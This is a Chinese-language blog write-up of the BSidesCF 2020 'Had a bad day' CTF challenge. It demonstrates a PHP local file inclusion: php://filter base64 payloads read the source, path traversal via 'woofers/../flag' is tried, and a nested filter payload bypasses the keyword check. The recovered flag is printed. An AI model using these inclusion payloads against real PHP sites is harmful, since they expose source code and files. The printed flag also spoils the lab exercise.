[BSidesCF 2020]Had a bad day

[BSidesCF 2020]Had a bad day

解题步骤

开启靶场,在页面上有两个明显的按钮,没有发现其他特别的信息了

image



判断漏洞类型

随便点击按钮后发现url改变,猜测本题考的是sql注入或者文件包含
http://7247f02e-e4de-47ae-a938-c1ae677b3169.node5.buuoj.cn:81/index.php?category=woofers

尝试使用注入方法在末尾上加一点 ' 后查看回显

2

回显了文件路径,并在 woofers 后面加上了.php后缀,报错也不属于sql的类型,所以题目基本属于文件包含,接下来使用php伪协议来查看一下文件源码

php://filter/convert.base64-encode/resource=index

这里会自动拼接,所以不需要加上后缀,否则会变成index.php.php,导致无法读取

3



代码审计

将base64编码解码出来得到源码,大多是html这边直接筛选出后端代码
<?php
	$file = $_GET['category'];   // 获取文件名

	if(isset($file))             // 判断是否有文件名
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){      // 判断文件名是否包含woofers或meowers或index
			include ($file . '.php');        // 包含文件,并加上.php后缀
		}
		else{       // 否则
			echo "Sorry, we currently only support woofers and meowers.";    // 输出错误信息
		}
	}
?>

以 GET 方式获取 URL 查询参数 category 的值,并把它赋给变量 $file

判断传入的值是否为 woofersmeowersindex 是则包含文件并加上php后缀,不是则输出错误信息



构造payload

主要就是为了绕过前面判断利用包含查看任意文件

我们先直接查看flag文件,flag文件在上一层所以需要返回上层

/index.php?category=woofers/../flag

页面上没有什么有用的信息,f12查看源码

4

提示我们能看到吗,说明flag是在后端上不直接在前端,可以使用php伪协议来查看后端代码,但因为是要查看flag,无法绕过if判断,我们这边可以使用伪协议嵌套来绕过从而查看,构造payload如下:

php://filter/read=convert.base64-encode/woofers/resource=flag

5

解码出来成功获取flag

<!-- Can you read this flag? -->
<?php
 // flag{27c85324-d4c9-4a65-8f3e-fbeefc59d0bd}
?>
posted @ 2025-07-18 17:27  云懿  阅读(46)  评论(0)    收藏  举报